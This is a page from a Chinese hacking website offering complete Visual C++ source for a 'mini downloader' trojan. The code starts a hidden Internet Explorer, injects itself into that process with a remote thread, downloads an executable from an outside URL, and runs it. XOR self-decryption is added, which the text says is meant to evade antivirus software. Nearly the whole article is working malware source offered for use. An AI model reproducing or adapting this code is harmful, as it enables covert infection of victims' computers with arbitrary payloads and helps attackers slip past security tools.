黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 黑客编程 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]无Dll插入进程,下载者VC源代码
      ★★★★★

无Dll插入进程,下载者VC源代码

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-12-28 9:35:55
增加代码xor解密功能,以逃过杀毒软件.

生成MiNI下载者,则需要自己做一个工具了.读懂代码,把相应的部份加密即可.

参考delphi版本的下载者源代码,编出来有16K左右。压缩也有10K多,
于是写了VC的代码。按以下的设置,编译出来2K左右。
还可以可以再设置一下编译开关,以减小体积。

Ps:原代码中4处没有对\转义,以下代码编译通过;
编译出来16K,去掉4行注释,编译后3K(编译环境:Win2003+VC6.0)
/*
"mini_downloader"
code by kardinal p.s.t
compile by vc++ 6.0
can not run under win98;
*/
#include <windows.h>

#pragma comment(lib,"user32.lib")
#pragma comment(lib,"kernel32.lib")

//#pragma comment(linker, "/OPT:NOWIN98") //取消这4行的注释,可编译出2K大的文件
//#pragma comment(linker, "/merge:.data=.text")
//#pragma comment(linker, "/merge:.rdata=.text")
//#pragma comment(linker, "/align:0x200")
#pragma comment(linker, "/ENTRY:decrpt")
#pragma comment(linker, "/subsystem:windows")
#pragma comment(linker, "/BASE:0x13150000")

HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR, LPCTSTR, LPCTSTR ,LPCTSTR , int );//动态加载shell32.dll中的ShellExecuteA函数
DWORD (WINAPI *DOWNFILE) (LPCTSTR ,LPCTSTR, LPCTSTR ,DWORD, LPCTSTR);//动态加载Urlmon.dll中的UrlDownloadToFileA函数
HANDLE (WINAPI *MYINJECT) (HANDLE, LPSECURITY_ATTRIBUTES, DWORD,LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); //建立远程线程,并运行
HANDLE processhandle;
DWORD pid;
HINSTANCE hshell,hurlmon,hkernel;

void download() //注入使用的下载函数
{
 hshell=LoadLibrary("Shell32.dll");
 hurlmon=LoadLibrary("urlmon.dll");
 
 (FARPROC&)SHELLRUN=GetProcAddress(hshell,"ShellExecuteA");
 (FARPROC&)DOWNFILE= GetProcAddress(hurlmon,"URLDownloadToFileA");
 
 DOWNFILE(NULL,"http://www.testtest.ac.cn/eeeeeeeeeeeeee ... eeeeen/notepad.exe","c:\\ieinst12.exe",0, NULL);
 SHELLRUN(0,"open","c:\\ieinst12.exe",NULL,NULL,5);
 ExitProcess(0);
};

void main() //主函数
{
 //1.得到IE路径,并运行
 char iename[MAX_PATH],iepath[MAX_PATH];
 ZeroMemory(iename,sizeof(iename));
 ZeroMemory(iepath,sizeof(iepath));
 
 GetWindowsDirectory(iepath,MAX_PATH);
 strncpy(iename,iepath,3);
 strcat(iename,"program files\\Internet Explorer\\IEXPLORE.EXE");
 WinExec(iename,SW_HIDE);
 Sleep(500);
 
 //2.得到 IE process handle
 HWND htemp;
 htemp=FindWindow("IEFrame",NULL);
 GetWindowThreadProcessId(htemp,&pid);
 processhandle=OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
 
 //3.分配内存
 HMODULE Module;
 LPVOID NewModule;
 DWORD Size;
 LPDWORD lpimagesize;
 
 Module = GetModuleHandle(NULL);//进程映像的基址
 //得到内存镜像大小
 _asm
 {
 push eax;
 push ebx;
 mov ebx,Module;
 mov eax,[ebx+0x3c];
 lea eax,[ebx+eax+0x50];
 mov eax,[eax]
 mov lpimagesize,eax;
 pop ebx;
 pop eax;
 };
 Size=(DWORD)lpimagesize;
 NewModule = VirtualAllocEx(processhandle, Module, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //确定起始基址和内存映像基址的位置
 
 //4.写内存,创建线程
 WriteProcessMemory(processhandle, NewModule, Module, Size, NULL);//写数据
 LPTHREAD_START_ROUTINE entrypoint;
 __asm
 {
 push eax;
 lea eax,download;
 mov entrypoint,eax;
 pop eax
 }
 hkernel=LoadLibrary("KERNEL32.dll");
 (FARPROC&)MYINJECT= GetProcAddress(hkernel,"CreateRemoteThread");
 MYINJECT(processhandle, NULL, 0, entrypoint, Module, 0, NULL); //建立远程线程,并运行
 
 //5.关闭对象
 CloseHandle(processhandle);
 
 return;
} ;

//解密函数
void decrpt()
{
 
 HANDLE myps;
 DWORD oldAttr;
 BYTE shellcode[500];
 ZeroMemory(shellcode,sizeof(shellcode));
 myps=GetCurrentProcess();
 ::VirtualProtectEx(myps,&download,0x1000,PAGE_EXECUTE_READWRITE,&oldAttr);
 //先把原代码,搬移到变量中保存起来
 _asm
 {
 pushad;
 lea esi,download
 lea edi,shellcode;
 lea ecx,decrpt;
 sub ecx,esi;
en1:
 lodsb;
 stosb;
 dec ecx;
 jne en1;
 popad;
 
 };
 
 //解密搬回
 int i;
 for (i=1;i<=0xFF;i++)
 {
 _asm
 {
 pushad;
 lea esi,shellcode;
 lea edi,download;
 lea ecx,decrpt;
 sub ecx,edi;
en2:
 lodsb;
 mov ebx,i;
 xor al,bl;
 stosb;
 dec ecx;
 jne en2;
 popad;
 
 };
 
 //此结构的的作用在于使一般的杀毒软件无法探测出来是病毒.
 __try
 {
 main();
 return;
 }
 __except(EXCEPTION_EXECUTE_HANDLER)
 
 {
 
 };
 
 
 }
 return;
};
文章录入:cainiaowang    责任编辑:cainiaowang 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体:
    Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
    ICP备案:冀06009886